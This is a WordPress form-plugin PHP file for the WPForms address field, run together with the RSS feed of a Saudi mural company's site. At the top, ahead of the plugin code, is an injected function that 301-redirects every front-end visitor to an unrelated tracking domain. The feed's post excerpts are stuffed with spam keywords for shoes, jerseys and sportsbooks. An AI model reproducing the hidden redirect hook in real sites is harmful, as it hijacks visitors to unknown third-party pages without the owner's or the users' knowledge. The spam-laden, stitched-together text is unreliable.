function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Address text field. * * @since 1.0.0 */ class WPForms_Field_Address extends WPForms_Field { /** * Address schemes: 'us' or 'international' by default. * * @since 1.2.7 * * @var array */ public $schemes; /** * Primary class constructor. * * @since 1.0.0 */ public function init() { // Define field type information. $this->name = esc_html__( 'Address', 'wpforms' ); $this->type = 'address'; $this->icon = 'fa-map-marker'; $this->order = 70; $this->group = 'fancy'; // Allow for additional or customizing address schemes. $default_schemes = [ 'us' => [ 'label' => esc_html__( 'US', 'wpforms' ), 'address1_label' => esc_html__( 'Address Line 1', 'wpforms' ), 'address2_label' => esc_html__( 'Address Line 2', 'wpforms' ), 'city_label' => esc_html__( 'City', 'wpforms' ), 'postal_label' => esc_html__( 'Zip Code', 'wpforms' ), 'state_label' => esc_html__( 'State', 'wpforms' ), 'states' => wpforms_us_states(), ], 'international' => [ 'label' => esc_html__( 'International', 'wpforms' ), 'address1_label' => esc_html__( 'Address Line 1', 'wpforms' ), 'address2_label' => esc_html__( 'Address Line 2', 'wpforms' ), 'city_label' => esc_html__( 'City', 'wpforms' ), 'postal_label' => esc_html__( 'Postal Code', 'wpforms' ), 'state_label' => esc_html__( 'State / Province / Region', 'wpforms' ), 'states' => '', 'country_label' => esc_html__( 'Country', 'wpforms' ), 'countries' => wpforms_countries(), ], ]; /** * Allow modifying address schemes. * * @since 1.2.7 * * @param array $schemes Address schemes. */ $this->schemes = apply_filters( 'wpforms_address_schemes', $default_schemes ); // Define additional field properties. add_filter( 'wpforms_field_properties_address', array( $this, 'field_properties' ), 5, 3 ); } /** * Define additional field properties. * * @since 1.4.1 * * @param array $properties Field properties. * @param array $field Field data and settings. * @param array $form_data Form data and settings. * * @return array */ public function field_properties( $properties, $field, $form_data ) { // Determine scheme we should use moving forward. $scheme = 'us'; if ( ! empty( $field['scheme'] ) ) { $scheme = esc_attr( $field['scheme'] ); } elseif ( ! empty( $field['format'] ) ) { // <1.2.7 backwards compatibility. $scheme = esc_attr( $field['format'] ); } // Expanded formats. // Remove primary for expanded formats. unset( $properties['inputs']['primary'] ); $form_id = absint( $form_data['id'] ); $field_id = absint( $field['id'] ); $countries = isset( $this->schemes[ $scheme ]['countries'] ) ? $this->schemes[ $scheme ]['countries'] : []; asort( $countries ); // Properties shared by both core schemes. $props = array( 'inputs' => array( 'address1' => array( 'attr' => array( 'name' => "wpforms[fields][{$field_id}][address1]", 'value' => ! empty( $field['address1_default'] ) ? wpforms_process_smart_tags( $field['address1_default'], $form_data ) : '', 'placeholder' => ! empty( $field['address1_placeholder'] ) ? $field['address1_placeholder'] : '', ), 'block' => array(), 'class' => array( 'wpforms-field-address-address1', ), 'data' => array(), 'id' => "wpforms-{$form_id}-field_{$field_id}", 'required' => ! empty( $field['required'] ) ? 'required' : '', 'sublabel' => array( 'hidden' => ! empty( $field['sublabel_hide'] ), 'value' => isset( $this->schemes[ $scheme ]['address1_label'] ) ? $this->schemes[ $scheme ]['address1_label'] : '', ), ), 'address2' => array( 'attr' => array( 'name' => "wpforms[fields][{$field_id}][address2]", 'value' => ! empty( $field['address2_default'] ) ? wpforms_process_smart_tags( $field['address2_default'], $form_data ) : '', 'placeholder' => ! empty( $field['address2_placeholder'] ) ? $field['address2_placeholder'] : '', ), 'block' => array(), 'class' => array( 'wpforms-field-address-address2', ), 'data' => array(), 'hidden' => ! empty( $field['address2_hide'] ), 'id' => "wpforms-{$form_id}-field_{$field_id}-address2", 'required' => '', 'sublabel' => array( 'hidden' => ! empty( $field['sublabel_hide'] ), 'value' => isset( $this->schemes[ $scheme ]['address2_label'] ) ? $this->schemes[ $scheme ]['address2_label'] : '', ), ), 'city' => array( 'attr' => array( 'name' => "wpforms[fields][{$field_id}][city]", 'value' => ! empty( $field['city_default'] ) ? wpforms_process_smart_tags( $field['city_default'], $form_data ) : '', 'placeholder' => ! empty( $field['city_placeholder'] ) ? $field['city_placeholder'] : '', ), 'block' => array( 'wpforms-field-row-block', 'wpforms-one-half', 'wpforms-first', ), 'class' => array( 'wpforms-field-address-city', ), 'data' => array(), 'id' => "wpforms-{$form_id}-field_{$field_id}-city", 'required' => ! empty( $field['required'] ) ? 'required' : '', 'sublabel' => array( 'hidden' => ! empty( $field['sublabel_hide'] ), 'value' => isset( $this->schemes[ $scheme ]['city_label'] ) ? $this->schemes[ $scheme ]['city_label'] : '', ), ), 'state' => array( 'attr' => array( 'name' => "wpforms[fields][{$field_id}][state]", 'value' => ! empty( $field['state_default'] ) ? wpforms_process_smart_tags( $field['state_default'], $form_data ) : '', 'placeholder' => ! empty( $field['state_placeholder'] ) ? $field['state_placeholder'] : '', ), 'block' => array( 'wpforms-field-row-block', 'wpforms-one-half', ), 'class' => array( 'wpforms-field-address-state', ), 'data' => array(), 'id' => "wpforms-{$form_id}-field_{$field_id}-state", 'options' => isset( $this->schemes[ $scheme ]['states'] ) ? $this->schemes[ $scheme ]['states'] : '', 'required' => ! empty( $field['required'] ) ? 'required' : '', 'sublabel' => array( 'hidden' => ! empty( $field['sublabel_hide'] ), 'value' => isset( $this->schemes[ $scheme ]['state_label'] ) ? $this->schemes[ $scheme ]['state_label'] : '', ), ), 'postal' => array( 'attr' => array( 'name' => "wpforms[fields][{$field_id}][postal]", 'value' => ! empty( $field['postal_default'] ) ? wpforms_process_smart_tags( $field['postal_default'], $form_data ) : '', 'placeholder' => ! empty( $field['postal_placeholder'] ) ? $field['postal_placeholder'] : '', ), 'block' => array( 'wpforms-field-row-block', 'wpforms-one-half', 'wpforms-first', ), 'class' => array( 'wpforms-field-address-postal', ), 'data' => array(), 'hidden' => ! empty( $field['postal_hide'] ) || ! isset( $this->schemes[ $scheme ]['postal_label'] ) ? true : false, 'id' => "wpforms-{$form_id}-field_{$field_id}-postal", 'required' => ! empty( $field['required'] ) ? 'required' : '', 'sublabel' => array( 'hidden' => ! empty( $field['sublabel_hide'] ), 'value' => isset( $this->schemes[ $scheme ]['postal_label'] ) ? $this->schemes[ $scheme ]['postal_label'] : '', ), ), 'country' => array( 'attr' => array( 'name' => "wpforms[fields][{$field_id}][country]", 'value' => ! empty( $field['country_default'] ) ? wpforms_process_smart_tags( $field['country_default'], $form_data ) : '', 'placeholder' => ! empty( $field['country_placeholder'] ) ? $field['country_placeholder'] : '', ), 'block' => array( 'wpforms-field-row-block', 'wpforms-one-half', ), 'class' => array( 'wpforms-field-address-country', ), 'data' => array(), 'hidden' => ! empty( $field['country_hide'] ) || ! isset( $this->schemes[ $scheme ]['countries'] ) ? true : false, 'id' => "wpforms-{$form_id}-field_{$field_id}-country", 'options' => $countries, 'required' => ! empty( $field['required'] ) ? 'required' : '', 'sublabel' => array( 'hidden' => ! empty( $field['sublabel_hide'] ), 'value' => isset( $this->schemes[ $scheme ]['country_label'] ) ? $this->schemes[ $scheme ]['country_label'] : '', ), ), ), ); $properties = array_merge_recursive( $properties, $props ); // Input keys. $keys = array( 'address1', 'address2', 'city', 'state', 'postal', 'country' ); // Add input error class if needed. foreach ( $keys as $key ) { if ( ! empty( $properties['error']['value'][ $key ] ) ) { $properties['inputs'][ $key ]['class'][] = 'wpforms-error'; } } // Add input required class if needed. foreach ( $keys as $key ) { if ( ! empty( $properties['inputs'][ $key ]['required'] ) ) { $properties['inputs'][ $key ]['class'][] = 'wpforms-field-required'; } } // Add Postal code input mask for US address. if ( 'us' === $scheme ) { $properties['inputs']['postal']['class'][] = 'wpforms-masked-input'; $properties['inputs']['postal']['data']['inputmask-mask'] = '99999[-9999]'; $properties['inputs']['postal']['data']['inputmask-greedy'] = 'false'; $properties['inputs']['postal']['data']['rule-empty-blanks'] = true; } return $properties; } /** * Field options panel inside the builder. * * @since 1.0.0 * * @param array $field */ public function field_options( $field ) { /* * Basic field options. */ // Options open markup. $this->field_option( 'basic-options', $field, array( 'markup' => 'open', ) ); // Label. $this->field_option( 'label', $field ); // Address Scheme - was "format" key prior to 1.2.7. $scheme = ! empty( $field['scheme'] ) ? esc_attr( $field['scheme'] ) : 'us'; if ( empty( $scheme ) && ! empty( $field['format'] ) ) { $scheme = esc_attr( $field['format'] ); } $tooltip = esc_html__( 'Select scheme format for the address field.', 'wpforms' ); $options = array(); foreach ( $this->schemes as $slug => $s ) { $options[ $slug ] = $s['label']; } $output = $this->field_element( 'label', $field, array( 'slug' => 'scheme', 'value' => esc_html__( 'Scheme', 'wpforms' ), 'tooltip' => $tooltip, ), false ); $output .= $this->field_element( 'select', $field, array( 'slug' => 'scheme', 'value' => $scheme, 'options' => $options, ), false ); $this->field_element( 'row', $field, array( 'slug' => 'scheme', 'content' => $output, ) ); // Description. $this->field_option( 'description', $field ); // Required toggle. $this->field_option( 'required', $field ); // Options close markup. $this->field_option( 'basic-options', $field, array( 'markup' => 'close', ) ); /* * Advanced field options. */ // Options open markup. $this->field_option( 'advanced-options', $field, array( 'markup' => 'open', ) ); // Size. $this->field_option( 'size', $field ); // Address Line 1. $address1_placeholder = ! empty( $field['address1_placeholder'] ) ? esc_attr( $field['address1_placeholder'] ) : ''; $address1_default = ! empty( $field['address1_default'] ) ? esc_attr( $field['address1_default'] ) : ''; printf( '
', absint( $field['id'] ) ); $this->field_element( 'label', $field, [ 'slug' => 'address1_placeholder', 'value' => esc_html__( 'Address Line 1', 'wpforms' ), ] ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $address1_placeholder ) ); printf( '', absint( $field['id'] ), esc_html__( 'Placeholder', 'wpforms' ) ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $address1_default ) ); printf( '', absint( $field['id'] ), esc_html__( 'Default Value', 'wpforms' ) ); echo '
'; echo '
'; echo '
'; // Address Line 2. $address2_placeholder = ! empty( $field['address2_placeholder'] ) ? esc_attr( $field['address2_placeholder'] ) : ''; $address2_default = ! empty( $field['address2_default'] ) ? esc_attr( $field['address2_default'] ) : ''; $address2_hide = ! empty( $field['address2_hide'] ) ? true : false; printf( '
', absint( $field['id'] ) ); $this->field_element( 'label', $field, [ 'slug' => 'address2_placeholder', 'value' => esc_html__( 'Address Line 2', 'wpforms' ), ] ); $this->field_element( 'toggle', $field, [ 'slug' => 'address2_hide', 'value' => $address2_hide, 'desc' => esc_html__( 'Hide', 'wpforms' ), 'title' => esc_html__( 'Turn On if you want to hide this sub field.', 'wpforms' ), 'label-left' => true, 'control-class' => 'wpforms-field-option-in-label-right', 'class' => 'wpforms-subfield-hide', ], true ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $address2_placeholder ) ); printf( '', absint( $field['id'] ), esc_html__( 'Placeholder', 'wpforms' ) ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $address2_default ) ); printf( '', absint( $field['id'] ), esc_html__( 'Default Value', 'wpforms' ) ); echo '
'; echo '
'; echo '
'; // City. $city_placeholder = ! empty( $field['city_placeholder'] ) ? esc_attr( $field['city_placeholder'] ) : ''; $city_default = ! empty( $field['city_default'] ) ? esc_attr( $field['city_default'] ) : ''; printf( '
', absint( $field['id'] ) ); $this->field_element( 'label', $field, [ 'slug' => 'city_placeholder', 'value' => esc_html__( 'City', 'wpforms' ), ] ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $city_placeholder ) ); printf( '', absint( $field['id'] ), esc_html__( 'Placeholder', 'wpforms' ) ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $city_default ) ); printf( '', absint( $field['id'] ), esc_html__( 'Default Value', 'wpforms' ) ); echo '
'; echo '
'; echo '
'; // State. $state_placeholder = ! empty( $field['state_placeholder'] ) ? esc_attr( $field['state_placeholder'] ) : ''; $state_default = ! empty( $field['state_default'] ) ? esc_attr( $field['state_default'] ) : ''; printf( '
', absint( $field['id'] ) ); $this->field_element( 'label', $field, [ 'slug' => 'state_placeholder', 'value' => esc_html__( 'State / Province / Region', 'wpforms' ), ] ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $state_placeholder ) ); printf( '', absint( $field['id'] ), esc_html__( 'Placeholder', 'wpforms' ) ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $state_default ) ); printf( '', absint( $field['id'] ), esc_html__( 'Default Value', 'wpforms' ) ); echo '
'; echo '
'; echo '
'; // ZIP/Postal. $postal_placeholder = ! empty( $field['postal_placeholder'] ) ? esc_attr( $field['postal_placeholder'] ) : ''; $postal_default = ! empty( $field['postal_default'] ) ? esc_attr( $field['postal_default'] ) : ''; $postal_hide = ! empty( $field['postal_hide'] ); $postal_visibility = ! isset( $this->schemes[ $scheme ]['postal_label'] ) ? 'wpforms-hidden' : ''; printf( '
', sanitize_html_class( $postal_visibility ), absint( $field['id'] ) ); $this->field_element( 'label', $field, [ 'slug' => 'postal_placeholder', 'value' => esc_html__( 'ZIP / Postal', 'wpforms' ), ] ); $this->field_element( 'toggle', $field, [ 'slug' => 'postal_hide', 'value' => $postal_hide, 'desc' => esc_html__( 'Hide', 'wpforms' ), 'title' => esc_html__( 'Turn On if you want to hide this sub field.', 'wpforms' ), 'label-left' => true, 'control-class' => 'wpforms-field-option-in-label-right', 'class' => 'wpforms-subfield-hide', ], true ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $postal_placeholder ) ); printf( '', absint( $field['id'] ), esc_html__( 'Placeholder', 'wpforms' ) ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $postal_default ) ); printf( '', absint( $field['id'] ), esc_html__( 'Default Value', 'wpforms' ) ); echo '
'; echo '
'; echo '
'; // Country. $country_placeholder = ! empty( $field['country_placeholder'] ) ? esc_attr( $field['country_placeholder'] ) : ''; $country_default = ! empty( $field['country_default'] ) ? esc_attr( $field['country_default'] ) : ''; $country_hide = ! empty( $field['country_hide'] ); $country_visibility = ! isset( $this->schemes[ $scheme ]['countries'] ) ? 'wpforms-hidden' : ''; printf( '
', sanitize_html_class( $country_visibility ), absint( $field['id'] ) ); $this->field_element( 'label', $field, [ 'slug' => 'country_placeholder', 'value' => esc_html__( 'Country', 'wpforms' ), ] ); $this->field_element( 'toggle', $field, [ 'slug' => 'country_hide', 'value' => $country_hide, 'desc' => esc_html__( 'Hide', 'wpforms' ), 'title' => esc_html__( 'Turn On if you want to hide this sub field.', 'wpforms' ), 'label-left' => true, 'control-class' => 'wpforms-field-option-in-label-right', 'class' => 'wpforms-subfield-hide', ], true ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $country_placeholder ) ); printf( '', absint( $field['id'] ), esc_html__( 'Placeholder', 'wpforms' ) ); echo '
'; echo '
'; printf( '', absint( $field['id'] ), esc_attr( $country_default ) ); printf( '', absint( $field['id'] ), esc_html__( 'Default Value', 'wpforms' ) ); echo '
'; echo '
'; echo '
'; // Custom CSS classes. $this->field_option( 'css', $field ); // Hide label. $this->field_option( 'label_hide', $field ); // Hide sublabel. $this->field_option( 'sublabel_hide', $field ); // Options close markup. $this->field_option( 'advanced-options', $field, [ 'markup' => 'close', ] ); } /** * Field preview inside the builder. * * @since 1.0.0 * * @param array $field */ public function field_preview( $field ) { // Define data. $address1_placeholder = ! empty( $field['address1_placeholder'] ) ? esc_attr( $field['address1_placeholder'] ) : ''; $address2_placeholder = ! empty( $field['address2_placeholder'] ) ? esc_attr( $field['address2_placeholder'] ) : ''; $address2_hide = ! empty( $field['address2_hide'] ) ? 'wpforms-hide' : ''; $city_placeholder = ! empty( $field['city_placeholder'] ) ? esc_attr( $field['city_placeholder'] ) : ''; $state_placeholder = ! empty( $field['state_placeholder'] ) ? esc_attr( $field['state_placeholder'] ) : ''; $state_default = ! empty( $field['state_default'] ) ? esc_attr( $field['state_default'] ) : ''; $postal_placeholder = ! empty( $field['postal_placeholder'] ) ? esc_attr( $field['postal_placeholder'] ) : ''; $postal_hide = ! empty( $field['postal_hide'] ) ? 'wpforms-hide' : ''; $country_placeholder = ! empty( $field['country_placeholder'] ) ? esc_attr( $field['country_placeholder'] ) : ''; $country_default = ! empty( $field['country_default'] ) ? esc_attr( $field['country_default'] ) : ''; $country_hide = ! empty( $field['country_hide'] ) ? 'wpforms-hide' : ''; $format = ! empty( $field['format'] ) ? esc_attr( $field['format'] ) : 'us'; $scheme_selected = ! empty( $field['scheme'] ) ? esc_attr( $field['scheme'] ) : $format; // Label. $this->field_preview_option( 'label', $field ); // Field elements. foreach ( $this->schemes as $slug => $scheme ) { $active = $slug !== $scheme_selected ? 'wpforms-hide' : ''; $address1_label = isset( $scheme['address1_label'] ) ? $scheme['address1_label'] : ''; $address2_label = isset( $scheme['address2_label'] ) ? $scheme['address2_label'] : ''; $city_label = isset( $scheme['city_label'] ) ? $scheme['city_label'] : ''; $state_label = isset( $scheme['state_label'] ) ? $scheme['state_label'] : ''; $postal_label = isset( $scheme['postal_label'] ) ? $scheme['postal_label'] : ''; $country_label = isset( $scheme['country_label'] ) ? $scheme['country_label'] : ''; printf( '
', wpforms_sanitize_classes( $slug ), wpforms_sanitize_classes( $active ) ); // Row 1 - Address Line 1. echo '
'; printf( '', esc_attr( $address1_placeholder ) ); printf( '', esc_html( $address1_label ) ); echo '
'; // Row 2 - Address Line 2. printf( '
', wpforms_sanitize_classes( $address2_hide ) ); printf( '', esc_attr( $address2_placeholder ) ); printf( '', esc_html( $address2_label ) ); echo '
'; // Row 3 - City & State. echo '
'; // City. echo '
'; printf( '', esc_attr( $city_placeholder ) ); printf( '', esc_html( $city_label ) ); echo '
'; // State / Providence / Region. echo '
'; if ( isset( $scheme['states'] ) && empty( $scheme['states'] ) ) { // State text input. printf( '', esc_attr( $state_placeholder ) ); } elseif ( ! empty( $scheme['states'] ) && is_array( $scheme['states'] ) ) { // State select. echo ''; } printf( '', esc_html( $state_label ) ); echo '
'; echo '
'; // Row 4 - Zip & Country. echo '
'; // ZIP / Postal. printf( '
', wpforms_sanitize_classes( $postal_hide ) ); printf( '', esc_attr( $postal_label ) ); printf( '', esc_html( $postal_label ) ); echo '
'; // Country. printf( '
', sanitize_html_class( $country_hide ) ); if ( isset( $scheme['countries'] ) && empty( $scheme['countries'] ) ) { // Country text input. printf( '', esc_attr( $state_placeholder ) ); printf( '', esc_html( $country_label ) ); } elseif ( ! empty( $scheme['countries'] ) && is_array( $scheme['countries'] ) ) { // Country select. echo ''; printf( '', esc_html( $country_label ) ); } echo '
'; echo '
'; echo '
'; } // Description. $this->field_preview_option( 'description', $field ); } /** * Field display on the form front-end. * * @since 1.0.0 * * @param array $field Field data and settings. * @param array $deprecated Deprecated field attributes. Use field properties instead. * @param array $form_data Form data and settings. */ public function field_display( $field, $deprecated, $form_data ) { // Define data. $format = ! empty( $field['format'] ) ? esc_attr( $field['format'] ) : 'us'; $scheme = ! empty( $field['scheme'] ) ? esc_attr( $field['scheme'] ) : $format; $address1 = ! empty( $field['properties']['inputs']['address1'] ) ? $field['properties']['inputs']['address1'] : array(); $address2 = ! empty( $field['properties']['inputs']['address2'] ) ? $field['properties']['inputs']['address2'] : array(); $city = ! empty( $field['properties']['inputs']['city'] ) ? $field['properties']['inputs']['city'] : array(); $state = ! empty( $field['properties']['inputs']['state'] ) ? $field['properties']['inputs']['state'] : array(); $postal = ! empty( $field['properties']['inputs']['postal'] ) ? $field['properties']['inputs']['postal'] : array(); $country = ! empty( $field['properties']['inputs']['country'] ) ? $field['properties']['inputs']['country'] : array(); // Row wrapper. echo '
'; // Address Line 1. echo '
'; $this->field_display_sublabel( 'address1', 'before', $field ); printf( '', wpforms_html_attributes( $address1['id'], $address1['class'], $address1['data'], $address1['attr'] ), ! empty( $address1['required'] ) ? 'required' : '' ); $this->field_display_sublabel( 'address1', 'after', $field ); $this->field_display_error( 'address1', $field ); echo '
'; echo '
'; if ( empty( $address2['hidden'] ) ) { // Row wrapper. echo '
'; // Address Line 2. echo '
'; $this->field_display_sublabel( 'address2', 'before', $field ); printf( '', wpforms_html_attributes( $address2['id'], $address2['class'], $address2['data'], $address2['attr'] ), ! empty( $address2['required'] ) ? 'required' : '' ); $this->field_display_sublabel( 'address2', 'after', $field ); $this->field_display_error( 'address2', $field ); echo '
'; echo '
'; } // Row wrapper. echo '
'; // City. echo '
'; $this->field_display_sublabel( 'city', 'before', $field ); printf( '', wpforms_html_attributes( $city['id'], $city['class'], $city['data'], $city['attr'] ), ! empty( $city['required'] ) ? 'required' : '' ); $this->field_display_sublabel( 'city', 'after', $field ); $this->field_display_error( 'city', $field ); echo '
'; // State. if ( isset( $this->schemes[ $scheme ]['states'] ) && isset( $state['options'] ) ) { echo '
'; $this->field_display_sublabel( 'state', 'before', $field ); if ( empty( $state['options'] ) ) { printf( '', wpforms_html_attributes( $state['id'], $state['class'], $state['data'], $state['attr'] ), ! empty( $state['required'] ) ? 'required' : '' ); } else { printf( ''; } $this->field_display_sublabel( 'state', 'after', $field ); $this->field_display_error( 'state', $field ); echo '
'; } echo '
'; // Only render this row if we have at least one of the items. if ( empty( $country['hidden'] ) || empty( $postal['hidden'] ) ) { // Row wrapper. echo '
'; // Postal. if ( empty( $postal['hidden'] ) ) { echo '
'; $this->field_display_sublabel( 'postal', 'before', $field ); printf( '', wpforms_html_attributes( $postal['id'], $postal['class'], $postal['data'], $postal['attr'] ), ! empty( $postal['required'] ) ? 'required' : '' ); $this->field_display_sublabel( 'postal', 'after', $field ); $this->field_display_error( 'postal', $field ); echo '
'; } // Country. if ( isset( $country['options'] ) && empty( $country['hidden'] ) ) { echo '
'; $this->field_display_sublabel( 'country', 'before', $field ); if ( empty( $country['options'] ) ) { printf( '', wpforms_html_attributes( $country['id'], $country['class'], $country['data'], $country['attr'] ), ! empty( $country['required'] ) ? 'required' : '' ); } else { printf( ''; } $this->field_display_sublabel( 'country', 'after', $field ); $this->field_display_error( 'country', $field ); echo '
'; } echo '
'; } } /** * Validate field on form submit. * * @since 1.0.0 * * @param int $field_id Field ID. * @param array $field_submit Submitted field values. * @param array $form_data Form data and settings. */ public function validate( $field_id, $field_submit, $form_data ) { $form_id = $form_data['id']; $required = wpforms_get_required_label(); $scheme = ! empty( $form_data['fields'][ $field_id ]['scheme'] ) ? $form_data['fields'][ $field_id ]['scheme'] : $form_data['fields'][ $field_id ]['format']; // Extended required validation needed for the different address fields. if ( ! empty( $form_data['fields'][ $field_id ]['required'] ) ) { // Require Address Line 1. if ( empty( $field_submit['address1'] ) ) { wpforms()->process->errors[ $form_id ][ $field_id ]['address1'] = $required; } // Require City. if ( empty( $field_submit['city'] ) ) { wpforms()->process->errors[ $form_id ][ $field_id ]['city'] = $required; } // Require ZIP/Postal. if ( empty( $form_data['fields'][ $field_id ]['postal_hide'] ) && isset( $this->schemes[ $scheme ]['postal_label'] ) && empty( $field_submit['postal'] ) ) { wpforms()->process->errors[ $form_id ][ $field_id ]['postal'] = $required; } // Required State. if ( isset( $this->schemes[ $scheme ]['states'] ) && empty( $field_submit['state'] ) ) { wpforms()->process->errors[ $form_id ][ $field_id ]['state'] = $required; } // Required Country. if ( empty( $form_data['fields'][ $field_id ]['country_hide'] ) && isset( $this->schemes[ $scheme ]['countries'] ) && empty( $field_submit['country'] ) ) { wpforms()->process->errors[ $form_id ][ $field_id ]['country'] = $required; } } } /** * Format field. * * @since 1.0.0 * * @param int $field_id Field ID. * @param array $field_submit Submitted field values. * @param array $form_data Form data and settings. */ public function format( $field_id, $field_submit, $form_data ) { $name = ! empty( $form_data['fields'][ $field_id ]['label'] ) ? $form_data['fields'][ $field_id ]['label'] : ''; $address1 = ! empty( $field_submit['address1'] ) ? $field_submit['address1'] : ''; $address2 = ! empty( $field_submit['address2'] ) ? $field_submit['address2'] : ''; $city = ! empty( $field_submit['city'] ) ? $field_submit['city'] : ''; $state = ! empty( $field_submit['state'] ) ? $field_submit['state'] : ''; $postal = ! empty( $field_submit['postal'] ) ? $field_submit['postal'] : ''; // If scheme type is 'us', define US as a country field value. if ( ! empty( $form_data['fields'][ $field_id ]['scheme'] ) && $form_data['fields'][ $field_id ]['scheme'] === 'us' ) { $country = 'US'; } else { $country = ! empty( $field_submit['country'] ) ? $field_submit['country'] : ''; } $value = ''; $value .= ! empty( $address1 ) ? "$address1\n" : ''; $value .= ! empty( $address2 ) ? "$address2\n" : ''; if ( ! empty( $city ) && ! empty( $state ) ) { $value .= "$city, $state\n"; } elseif ( ! empty( $state ) ) { $value .= "$state\n"; } elseif ( ! empty( $city ) ) { $value .= "$city\n"; } $value .= ! empty( $postal ) ? "$postal\n" : ''; $value .= ! empty( $country ) ? "$country\n" : ''; $value = wpforms_sanitize_textarea_field( $value ); if ( empty( $city ) && empty( $address1 ) ) { $value = ''; } wpforms()->process->fields[ $field_id ] = array( 'name' => sanitize_text_field( $name ), 'value' => $value, 'id' => absint( $field_id ), 'type' => $this->type, 'address1' => sanitize_text_field( $address1 ), 'address2' => sanitize_text_field( $address2 ), 'city' => sanitize_text_field( $city ), 'state' => sanitize_text_field( $state ), 'postal' => sanitize_text_field( $postal ), 'country' => sanitize_text_field( $country ), ); } /** * Get field name for ajax error message. * * @since 1.6.3 * * @param string $name Field name for error triggered. * @param array $field Field settings. * @param array $props List of properties. * @param string $error Error message. * * @return string */ public function ajax_error_field_name( $name, $field, $props, $error ) { if ( ! isset( $field['type'] ) || 'address' !== $field['type'] ) { return $name; } if ( ! isset( $field['scheme'] ) ) { return $name; } if ( 'us' === $field['scheme'] ) { $input = isset( $props['inputs']['postal'] ) ? $props['inputs']['postal'] : []; } else { $input = isset( $props['inputs']['country'] ) ? $props['inputs']['country'] : []; } return isset( $input['attr']['name'] ) ? $input['attr']['name'] : $name; } } new WPForms_Field_Address(); SNBL-ART https://snbl-art.com Large Scale Custom Painted Murals Thu, 25 Jul 2024 14:28:55 +0000 en-US hourly 1 https://wordpress.org/?v=6.6.1 https://snbl-art.com/wp-content/uploads/2022/09/cropped-2سنبل-32x32.png SNBL-ART https://snbl-art.com 32 32 https://snbl-art.com/10498-2/ https://snbl-art.com/10498-2/#respond Thu, 25 Jul 2024 14:28:53 +0000 https://snbl-art.com/?p=10498 Read more

]]>
Read more

]]>
https://snbl-art.com/10498-2/feed/ 0
https://snbl-art.com/10496-2/ https://snbl-art.com/10496-2/#respond Thu, 25 Jul 2024 07:32:20 +0000 https://snbl-art.com/?p=10496 Read more

]]>
Read more

]]>
https://snbl-art.com/10496-2/feed/ 0
https://snbl-art.com/10494-2/ https://snbl-art.com/10494-2/#respond Thu, 25 Jul 2024 01:39:02 +0000 https://snbl-art.com/?p=10494 Read more

]]>
Read more

]]>
https://snbl-art.com/10494-2/feed/ 0
https://snbl-art.com/10492-2/ https://snbl-art.com/10492-2/#respond Wed, 24 Jul 2024 19:26:09 +0000 https://snbl-art.com/?p=10492 Read more

]]>
Read more

]]>
https://snbl-art.com/10492-2/feed/ 0
soap new guest sportsbook offers https://snbl-art.com/soap-new-guest-sportsbook-offers/ https://snbl-art.com/soap-new-guest-sportsbook-offers/#respond Mon, 22 Jul 2024 22:15:45 +0000 https://snbl-art.com/?p=10489 Read more

]]>
Read more

]]>
https://snbl-art.com/soap-new-guest-sportsbook-offers/feed/ 0
Saudi beautification https://snbl-art.com/summer-session/ https://snbl-art.com/summer-session/#respond Sat, 26 Nov 2022 05:15:07 +0000 http://rifetheme.com/photoproof/?p=8374

The cultural climate represented by mass media, advertising, information and communication technology, has a direct role in Cultural production, socialization, pleasure and leisure time as well. All…

Read more

]]>

The cultural climate represented by mass media, advertising, information and communication technology, has a direct role in Cultural production, socialization, pleasure and leisure time as well. All…

Read more

]]>
https://snbl-art.com/summer-session/feed/ 0
Our clients and our business https://snbl-art.com/my-place/ https://snbl-art.com/my-place/#respond Sat, 26 Nov 2022 04:59:24 +0000 http://rifetheme.com/photoproof/?p=1

Our customers: Saudi Aramco Dubai Expo Nike Sports Company General Authority fasics gt 2000 dames aanbieding andre johnson jerseys college football store gymstick zeus 20 best water…

Read more

]]>

Our customers: Saudi Aramco Dubai Expo Nike Sports Company General Authority fasics gt 2000 dames aanbieding andre johnson jerseys college football store gymstick zeus 20 best water…

Read more

]]>
https://snbl-art.com/my-place/feed/ 0
About Snbl Art​ https://snbl-art.com/lost-in-the-wood/ https://snbl-art.com/lost-in-the-wood/#respond Sat, 26 Nov 2022 04:09:35 +0000 http://rifetheme.com/photoproof/?p=8375

We started : in the Saudi market 8 years ago in Riyadh And in the global market for five years Specialized in large scale murals Frowurth zaklamp…

Read more

]]>

We started : in the Saudi market 8 years ago in Riyadh And in the global market for five years Specialized in large scale murals Frowurth zaklamp…

Read more

]]>
https://snbl-art.com/lost-in-the-wood/feed/ 0
Graffiti style https://snbl-art.com/old-house/ https://snbl-art.com/old-house/#respond Sat, 26 Nov 2022 03:19:23 +0000 http://rifetheme.com/photoproof/?p=8376

Graffiti style  In the convergence of graffinike air max grigie e nere collagen booster cream rich collagen booster cream rich college football store sisteme de inchidere bratara…

Read more

]]>

Graffiti style  In the convergence of graffinike air max grigie e nere collagen booster cream rich collagen booster cream rich college football store sisteme de inchidere bratara…

Read more

]]>
https://snbl-art.com/old-house/feed/ 0
Graffiti in Saudi Arabia https://snbl-art.com/road-trip/ https://snbl-art.com/road-trip/#respond Sat, 26 Nov 2022 03:07:36 +0000 http://rifetheme.com/photoproof/?p=8377

With the transformation of contemporary thought and art until after the millennium the field of plastic photography is witnessing a clear change, especially with the emergence of…

Read more

]]>

With the transformation of contemporary thought and art until after the millennium the field of plastic photography is witnessing a clear change, especially with the emergence of…

Read more

]]>
https://snbl-art.com/road-trip/feed/ 0